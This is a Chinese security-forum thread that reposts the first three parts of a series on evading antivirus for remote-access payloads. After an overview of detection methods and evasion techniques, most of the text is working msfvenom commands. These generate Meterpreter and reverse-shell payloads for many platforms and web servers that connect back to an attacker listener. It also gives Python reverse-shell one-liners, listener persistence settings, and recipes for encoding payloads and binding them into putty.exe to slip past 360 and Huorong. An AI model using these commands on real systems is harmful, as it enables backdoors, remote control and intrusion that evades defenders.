安全矩阵

 找回密码
 立即注册
搜索
查看: 18218|回复: 27

远控免杀合集

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-2-21 11:51:41 | 显示全部楼层 |阅读模式
本帖最后由 wholesome 于 2020-3-4 13:34 编辑

BypassAntiVirus
本系列文章为Tide安全团队成员重剑无锋原创文章,转载请声明出处!
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
  • 工具篇内容:msf自免杀、Veil、Venom、Shellter、BackDoor-Factory、Avet、TheFatRat、Avoidz、Green-Hat-Suite、zirikatu、AVIator、DKMC、Unicorn、Python-Rootkit、DKMC、Unicorn、Python-Rootkit、ASWCrypter、nps_payload、GreatSCT、HERCULES、SpookFlare、SharpShooter、CACTUSTORCH、Winpayload等。
  • 代码篇内容:C/C++、C#、python、powershell、ruby、go等。
  • 白名单内容:Rundll32.exe、Msiexec.exe、MSBuild.exe、InstallUtil.exe、Mshta.exe、Regsvr32.exe、Cmstp.exe、CScript.exe、WScript.exe、Forfiles.exe、te.exe、Odbcconf.exe、InfDefaultInstall.exe、Diskshadow.exe、PsExec、Msdeploy.exe、Winword.exe、Regasm.exe、Regsvcs.exe、Ftp.exe、pubprn.vbs、winrm.vbs、slmgr.vbs、Xwizard.exe、Compiler.exe、IEExec、MavInject32、Presentationhost.exe、Wmic.exe、Pcalua.exe、Url.dll、zipfldr.dll、Syncappvpublishingserver.exe等。

已完成的免杀文章及相关软件下载:https://github.com/TideSec/BypassAntiVirus
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-21 11:52:58 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-21 15:06 编辑

远控免杀专题文章(1)-基础篇

前言

       一直是从事web安全多一些,对waf绕过还稍微有些研究,但是对远控免杀的认知还大约停留在ASPack、UPX加壳免杀的年代。近两年随着hw和红蓝对抗的增多,接触到的提权、内网渗透、域渗透也越来越多。攻击能力有没有提升不知道,但防护水平明显感觉提升了一大截,先不说防护人员的技术水平如果,最起码各种云WAF、防火墙、隔离设备部署的多了,服务器上也经常能见到安装了杀软、软waf、agent等等,特别是某数字杀软在国内服务器上尤为普及。这个时候,不会点免杀技术就非常吃亏了。

但是因为对逆向和二进制都不大熟,编译运行别人的代码都比较费劲,这时候就只能靠现成的工具来曲线救国了。为了,从互联网上搜集了二三十种免杀的方法,对msf或CS进行免杀测试,大部分都是互联网已有的方法,感谢大佬们的无私分享,我只是进行了重新汇总整理。

      实验主要是使用了metasploit或cobaltstrike生成的代码或程序进行免杀处理,在实验机器上安装了360全家桶和火绒进行本地测试,在https://www.virustotal.com/上进行在线查杀。

      第一篇内容比较水,主要介绍了一下杀毒软件工作原理和免杀原理,大部分内容都来自互联网。


免杀概念

      免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。


杀毒软件检测方式扫描技术

1、扫描压缩包技术:即是对压缩包案和封装文件作分析检查的技术。

2、程序窜改防护:即是避免恶意程序借由删除杀毒侦测程序而大肆破坏电脑。

3、修复技术:即是对恶意程序所损坏的文件进行还原

4、急救盘杀毒:利用空白U盘制作急救启动盘,来检测电脑病毒。

5、智能扫描:扫描最常用的磁盘,系统关键位置,耗时较短。

6、全盘扫描:扫描电脑全部磁盘,耗时较长。

7、勒索软件防护:保护电脑中的文件不被黑客恶意加密。

8、开机扫描:当电脑开机时自动进行扫描,可以扫描压缩文档和可能不需要的程序

监控技术

1、内存监控:当发现内存中存在病毒的时候,就会主动报警;监控所有进程;监控读取到内存中的文件;监控读取到内存的网络数据。

2、文件监控:当发现写到磁盘上的文件中存在病毒,或者是被病毒感染,就会主动报警。

3、邮件监控:当发现电子邮件的附件存在病毒时进行拦截。

4、网页防护:阻止网络攻击和不安全下载。

5、行为防护:提醒用户可疑的应用程序行为。

扫描引擎特征码扫描

       机制:将扫描信息与病毒数据库(即所谓的“病毒特征库”)进行对照,如果信息与其中的任何一个病毒特征符合,杀毒软件就会判断此文件被病毒感染。杀毒软件在进行查杀的时候,会挑选文件内部的一段或者几段代码来作为他识别病毒的方式,这种代码就叫做病毒的特征码;在病毒样本中,抽取特征代码;抽取的代码比较特殊,不大可能与普通正常程序代码吻合;抽取的代码要有适当长度,一方面维持特征代码的唯一性,另一方面保证病毒扫描时候不要有太大的空间与时间的开销。


特征码类别:

1.文件特征码:对付病毒在文件中的存在方式:单一文件特征码、复合文件特征码(通过多处特征进行判断);

2.内存特征码:对付病毒在内存中的存在方式:单一内存特征码、复合内存特征码

优点:速度快,配备高性能的扫描引擎;准确率相对比较高,误杀操作相对较少;很少需要用户参与。

缺点:采用病毒特征代码法的检测工具,面对不断出现的新病毒,必须不断更新病毒库的版本,否则检测工具便会老化,逐渐失去实用价值;病毒特征代码法对从未见过的新病毒,无法知道其特征代码,因而无法去检测新病毒;病毒特征码如果没有经过充分的检验,可能会出现误报,数据误删,系统破坏,给用户带来麻烦。

文件校验和法

       对文件进行扫描后,可以将正常文件的内容,计算其校验和,将该校验和写入文件中或写入别的文件中保存;在文件使用过程中,定期地或每次使用文件前,检查文件现在内容算出的校验和与原来保存的校验和是否一致,因而可以发现文件是否感染病毒。

进程行为监测法(沙盒模式)

       机制:通过对病毒多年的观察、研究,有一些行为是病毒的共同行为,而且比较特殊,在正常程序中,这些行为比较罕见。当程序运行时,监视其进程的各种行为,如果发现了病毒行为,立即报警。

优缺点:

1.优点:可发现未知病毒、可相当准确地预报未知的多数病毒;

2.缺点:可能误报警、不能识别病毒名称、有一定实现难度、需要更多的用户参与判断;

主动防御技术

       主动防御并不需要病毒特征码支持,只要杀毒软件能分析并扫描到目标程序的行为,并根据预先设定的规则,判定是否应该进行清除操作 主动防御本来想领先于病毒,让杀毒软件自己变成安全工程师来分析病毒,从而达到以不变应万变的境界。但是,计算机的智能总是在一系列的规则下诞生,而普通用户的技术水平达不到专业分析病毒的水平,两者之间的博弈将主动防御推上一个尴尬境地。

机器学习识别技术

       机器学习识别技术既可以做静态样本的二进制分析,又可以运用在沙箱动态行为分析当中,是为内容/行为+算法模式。伴随着深度学习的急速发展,各家厂商也开始尝试运用深度学习技术来识别病毒特征,如瀚思科技的基于深度学习的二进制恶意样本检测

免杀技术发展史

       引用来源:http://www.myhack58.com/Article/64/2014/52200.htm

       理论上讲,免杀一定是出现在杀毒软件之后的。而通过杀毒软件的发展史不难知道,第一款杀毒软件kill 1.0是Wish公司1987年推出的,也就是说免杀技术至少是在1989年以后才发展起来的。关于世界免杀技术的历史信息已无从考证,但从国内来讲,免杀技术的起步可以说是非常晚了:

1989年:第一款杀毒软件Mcafee诞生,标志着反病毒与反查杀时代的到来。

1997年:国内出现了第一个可以自动变异的千面人病毒(Polymorphic/Mutation Virus)。自动变异就是病毒针对杀毒软件的免杀方法之一,但是与免杀手法的定义有出入。

2002年7月31日:国内第一个真正意义上的变种病毒“中国黑客II”出现,它除了具有新的特征之外,还实现了“中国黑客”第一代所未实现的功能,可见这个变种也是病毒编写者自己制造的。

2004年:在黑客圈子内部,免杀技术是由黑客动画吧在这一年首先公开提出,由于当时还没有CLL等专用免杀工具,所以一般都使用WinHEX逐字节更改。

2005年1月:大名鼎鼎的免杀工具CCL的软件作者tankaiha在杂志上发表了一篇文章,藉此推广了CCL,从此国内黑客界才有了自己第一个专门用于免杀的工具。

2005年2月-7月:通过各方面有意或无意的宣传,黑客爱好者们开始逐渐重视免杀,在类似于免杀技术界的祖师爷黑吧安全网的浩天老师带领下一批黑客开始有越来越多的讨论免杀技术,这为以后木马免杀的火爆埋下根基。

2005年08月:第一个可查的关于免杀的动画由黑吧的浩天老师完成,为大量黑客爱好者提供了一个有效的参考,成功地对免杀技术进行了第一次科普。

2005年09月:免杀技术开始真正的火起来。


       由上面的信息可见,国内在1997年出现了第一个可以自动变异的千面人病毒,虽然自动变异也可以看为是针对杀毒软件的一种免杀方法,但是由于与免杀手法的定义有出入,所以如果将国内免杀技术起源定位1997年会显得比较牵强。

       一直等到2002年7月31日,国内第一个真正意义上的变种病毒“中国黑客II”才迟迟出现,因此我们暂且可以将国内免杀技术的起源定位在2002年7月。

免杀技术介绍



1.修改特征码

       免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。

  1. 特征码:能识别一个程序是一个病毒的一段不大于64字节的特征串
复制代码

      就目前的反病毒技术来讲,更改特征码从而达到免杀的效果事实上包含着两种方式。

       一种是改特征码,这也是免杀的最初方法。例如一个文件在某一个地址内有“灰鸽子上线成功!”这么一句话,表明它就是木马,只要将相应地址内的那句话改成别的就可以了,如果是无关痛痒的,直接将其删掉也未尝不可。

       第二种是针对目前推出的校验和查杀技术提出的免杀思想,它的原理虽然仍是特征码,但是已经脱离纯粹意义上特征码的概念,不过万变不离其宗。其实校验和也是根据病毒文件中与众不同的区块计算出来的,如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。所以如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。

修改特征码最重要的是定位特征码,但是定位了特征码修改后并不代表程序就能正常运行,费时费力,由于各个杀软厂商的特征库不同,所以一般也只能对一类的杀软起效果。虽然效果不好,但有时候在没有源码的情况下可以一用。

2.花指令免杀

       花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。

      大多数反病毒软件是靠特征码来判断文件是否有毒的,而为了提高精度,现在的特征码都是在一定偏移量限制之内的,否则会对反病毒软件的效率产生严重的影响!而在黑客们为一个程序添加一段花指令之后,程序的部分偏移会受到影响,如果反病毒软件不能识别这段花指令,那么它检测特征码的偏移量会整体位移一段位置,自然也就无法正常检测木马了。

3.加壳免杀

       说起软件加壳,简单地说,软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。

当我们运行这个加壳的程序时,系统首先会运行程序的“壳”,然后由壳将加密的程序逐步还原到内存中,最后运行程序。这样一来,在我们看来,似乎加壳之后的程序并没有什么变化,然而它却达到了加密的目的,这就是壳的作用。

       加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下,主流的壳如VMP, Themida等,一旦被检测到加壳直接弹框告诉你这玩意儿有问题,虽然很直接,但是还是挺有效的。有些情况下,有的常见版本的壳会被直接脱掉分析。

       面对这种情况可以考虑用一切冷门的加密壳,有时间精力的可以基于开源的压缩壳改一些源码,效果可能会很不错。

       总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的PE文件,通过加壳可以绕过很多特征码识别。

4.内存免杀

       CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。

       因为杀毒软件的内存扫描原理与硬盘上的文件扫描原理都是一样的,都是通过特征码比对的,只不过为了制造迷惑性,大多数反病毒公司的内存扫描与文件扫描采用的不是同一套特征码,这就导致了一个病毒木马同时拥有两套特征码,必须要将它们全部破坏掉才能躲过反病毒软件的查杀。

       因此,除了加壳外,黑客们对抗反病毒软件的基本思路没变。而对于加壳,只要加一个会混淆程序原有代码的“猛”壳,其实还是能躲过杀毒软件的查杀的。

5.二次编译

       metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大遍历,但是也被各大厂商盯得死死的。

       而shikata_ga_nai是msf中唯一的评价是excellent的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。

       目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。

6.分离免杀

       侯亮大神和倾旋大神都分别提到过payload分离免杀和webshell分离免杀,采用分离法,即将ShellCode和加载器分离。网上各种加载器代码也有很多,各种语言实现的都很容易找到,虽然看起来比较简单,但效果却是不错的。比如侯亮大神提到的shellcode_launcher,加载c代码,基本没有能查杀的AV。

7.资源修改

      有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。

加资源

      使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。

替换资源

      使用ResHacker替换无用的资源(Version等)。

加签名

      使用签名伪造工具,将正常软件的签名信息加入到自己软件中。





参考

很多内容参考了wikipedia和freebuf上Green_m和Anhkgg两位大佬的文章,在此表示感谢!想深入了解的可在访问下面链接。

免杀技术有一套:https://anhkgg.com/aanti-virus/

Meterpreter免杀及对抗分析:https://www.freebuf.com/sectool/157122.html

免杀艺术:https://www.4hou.com/technology/3853.html



回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-21 12:05:40 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-21 12:40 编辑

远控免杀专题文章(2)-msfvenom隐藏的参数



因为cobaltstrike生成payload比较简单,这里不再累述,只是介绍一下msfvenom的基本参数和一些小技巧。
本节目录如下:


msfvenom简介msfvenom是msfpayload和msfencode的结合体,于2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framework下面的的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)都不再被支持。
常规参数
msfvenom所有参数


​部分参数解读
  1. -p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

  2. -l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

  3. -n, –nopsled < length> 为payload预先指定一个NOP滑动长度

  4. -f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)

  5. -e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload

  6. -a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64

  7. –platform < platform> 指定payload的目标平台

  8. -s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小

  9. -b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';

  10. -i, –iterations < count> 指定payload的编码次数

  11. -c, –add-code < path> 指定一个附加的win32 shellcode文件

  12. -x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中

  13. -k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行

  14. –payload-options 列举payload的标准选项

  15. -o, –out < path> 指定创建好的payload的存放位置

  16. -v, –var-name < name> 指定一个自定义的变量,以确定输出格式

  17. –shellest 最小化生成payload

  18. -h, –help 查看帮助选项

  19. –help-formats 查看msf支持的输出格式列表
复制代码
比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options

使用msfvenom --list payloads可查看所有payloads

使用msfvenom --list encoders可查看所有编码器

可以看到评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。
类似可用msfvenom --list命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats。
几个重要的监听参数防止假session在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。
  1. msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口,保持侦听。
复制代码
防止session意外退出
  1. msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭handler后台持续监听
复制代码
handler后台持续监听

  1. msf exploit(multi/handler) > exploit -j -z
复制代码

使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
还有种比较快捷的建立监听的方式,在msf下直接执行:
  1. msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp
复制代码

会生成监听

payload的可持续化一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使用migrate进行。

其实在生成payload时可直接使用如下命令,生成的payload会直接注入到指定进程中。

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe
复制代码

生成的shell程序执行后会启动两个进程shell.exe和svchost.exe,关闭其中一个不会影响会话状态。唯一美中不足的是svchost.exe不是system32目录下的。

在上面的生成payload参数中:
(1)PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程。
(2)使用-p指定使用的攻击载荷模块,使用-e指定使用x86/shikata_ga_nai编码器,使用-f选项告诉MSF编码器输出格式为exe,-o选项指定输出的文件名为payload.exe,保存在根目录下。


绕过杀软
这是green-m大佬提到的一种方式,使用reverse_https等payload时可以使用下列方法bypass部分杀软。
生成payload:msfvenom -p windows/meterpreter/reverse_https lhost=10.211.55.2 lport=3333 -f c
在msf中进行如下设置,将控制端向被控制端发送的stage进行编码

  1. msf exploit(multi/handler) > set EnableStageEncoding true   //尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀
  2. EnableStageEncoding => true
  3. msf exploit(multi/handler) > set stageencoder x86/fnstenv_mov
  4. Stageencoder => x64/xor
  5. msf exploit(multi/handler) > set stageencodingfallback false
  6. stageencodingfallback => false
复制代码

同样,使用reverse_tcp_rc4也有同样的效果,而且不能设置stageencoder选项,更稳定更方便。
  1. msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=10.211.55.2 lport=3333 RC4PASSWORD=tidesec  -f c
复制代码

利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼皮下执行meterpreter。
各平台payload生成
二进制
windows
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe

  2. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe
复制代码
windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp。


Linux

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf
复制代码

Mac
  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.macho
复制代码
Android
  1. msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apk

  2. msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apk
复制代码

Powershell
  1. msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
复制代码

Netcat

nc正向连接

  1. msfvenom -p windows/shell_hidden_bind_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe
复制代码

nc反向连接,监听

  1. msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe
复制代码


Shellcode

基于Linux的Shellcode
  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c
复制代码

基于Windows的Shellcode
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c
复制代码

基于Mac的Shellcode
  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c
复制代码

脚本Python反弹shell
  1. msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py

  2. msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py
复制代码

Python正向shell
  1. python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

  2. python/python3 -c "exec("import socket, subprocess;s = socket.socket();s.connect(("10.211.55.2",3333))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"
复制代码

Bash
  1. msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.sh
复制代码

Perl
  1. msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pl
复制代码

Lua
  1. msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.lua
复制代码

Ruby
  1. msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.rb
复制代码


WebPHP
  1. msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.php
  2. cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
复制代码

ASPX
  1. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx
复制代码

ASP
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.asp
复制代码

JSP
  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jsp
复制代码

WAR
  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.war
复制代码


nodejs
  1. msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.js
复制代码

Handlers
  1. use exploit/multi/handler
  2. set PAYLOAD <Payload name>
  3. set LHOST 10.211.55.2
  4. set LPORT 3333
  5. set ExitOnSession false
  6. exploit -j -z
复制代码

msfvenom命令自动补全

msfvenom参数和命令很多,各种payload和encoder经常让人眼花缭乱,特别是对英语不好的人来说有些命令可能很容易忘记。所以Green_m大佬写了一个zsh插件,可以自动化的补全msfvenom命令,有了它妈妈再也不用担心我会忘记msfvenom命令了!

安装如下:


  1. 安装前提:已经安装了zsh。

  2. # 下载msfvenom plugin.
  3. git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/

  4. # 打开 ~/.zshrc 文件,启用插件
  5. plugins=(...  msfvenom)

  6. # 在当前shell中导入.zshrc文件中的设置
  7. source ~/.zshrc
复制代码

之后可正常使用。
参考资料
之后可正常使用。
参考资料
msfvenom 进阶:https://klionsec.github.io/2017/03/08/msfvenom-advanced/
How to use msfvenom:https://github.com/rapid7/metasp ... How-to-use-msfvenom
msfvenom 使用方法简单介绍:http://www.onebug.org/testing/161.html
Bypass AV meterpreter免杀技巧:https://green-m.me/2016/11/15/meterpreter-bypass-av/









回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-21 14:14:50 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-7 22:39 编辑

远控免杀专题文章(3)-msf自免杀(VT免杀率35/69)

免杀能力一览表


几点说明:
1、上面表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。


1.前言



本节主要是对msf自身提供的免杀机制(编码+捆绑)进行尝试,由于msf被各大安全厂商盯的比较紧,所以这些常规的方法免杀效果肯定是比较差的,但有时把一两种常规方法稍微结合一下就能达到比较好的免杀效果。
2.未处理的payload(VT查杀率53/69)


在做免杀之前,我们先生成一个原始payload作为原始参数对比,这里我们就选使用频率最高的windows/meterperter/reverse_tcp,这也是被各大杀软盯的最紧的一个。
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o payload1.exe
复制代码

基本不用怀疑,本地的360全家桶和火绒都能查杀。

在virustotal.com上查杀率为53/69

最原始的payload居然还有16个查杀不出来的,看看都有哪些(额。。。6个国内的。。。马云爸爸也出杀软了??)笔误,panda不是国内的。。


3.msf自编码处理(VT查杀率51/69)


使用msfvenom --list encoders可查看所有编码器

评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。
使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这里设置15次,并使用了-b参数去掉payload中的空字符。
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15  -f exe -o payload2.exe
复制代码


测试机器运行,本地的360全家桶和火绒都能查杀。

在virustotal.com上查杀率为51/69

由于shikata_ga_nai编码技术是多态的,也就是说每次生成的payload文件都不一样,有时生成的文件会被查杀,有时却不会。当然这个也和编码次数有一定关系,编码次数好像超过70次就经常生成出错,但是编码次数多并不代表免杀能力强。


4.msf自捆绑免杀(VT查杀率39/69)

在生成payload时可以使用捆绑功能,使用msfvenom的-x参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中,-x后面跟对应文件路径就可以。
我这里使用一个正规的putty.exe作为被捆绑测试软件。
生成payload命令如下

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -x putty.exe  -f exe -o payload3.exe
生成的两个文件对比,大小完全一样。

测试机器运行,本地的360全家桶和火绒都能查杀该payload。

在virustotal.com上查杀率为39/69

另外,能否免杀也和你选的被捆绑exe有一定关系,可以选微软的一些工具作为模板exe程序。

5.msf自捆绑+编码(VT查杀率35/69)

将上面的编码和捆绑两种方法结合一下进行尝试
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe  -i 15 -f exe -o payload4.exe<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="" style="background-color: rgb(255, 255, 255);">
复制代码

测试机器执行,发现火绒动态静态均能查杀,而360不会报病毒。

在关闭火绒后,开启360安全卫士和杀毒的情况下,可上线,可免杀。


可修改-i编码次数,编码次数越多,生成的payload越可能免杀,经测试,编码5次和6次可免杀360。
在virustotal.com上查杀率为35/69


看来稍微组合一下是能过更多的杀软的。后面会介绍更多的免杀方法,自己可以尝试多种免杀进行组合,垒积木一样的感觉...

6.msfvenom多重编码(VT查杀率45/70)


msfvenom的encoder编码器可以对payload进行一定程度免杀,同时还可以使用msfvenom多重编码功能,通过管道,让msfvenom用不同编码器反复编码进行混淆。
如下命令,使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以putty.exe为模板的可执行文件。

  1. msfvenom  -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe
复制代码


还有这种更多重编码姿势
  1. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe
复制代码
在virustotal.com上查杀率为45/70,编码多了,免杀率居然降低了。。。尴尬。。。

经过测试,发现使用的编码类型越多,免杀率可能会降低,猜测是因为各种编码引入了更多的特征码。同时生成的payload也很可能无法正常执行,这个也和被捆绑程序有一定关联。
                     参考资料

使用msf编码器避开杀毒软件的检测:https://www.freebuf.com/column/216599.html
msf多重编码:https://blog.csdn.net/wyf12138/article/details/79825833
Msfvenom学习总结:http://www.secist.com/archives/3353.html
msfvenom生成后门的免杀测试:http://www.naivete.online/msfven ... %E6%B5%8B%E8%AF%95/

















回复

使用道具 举报

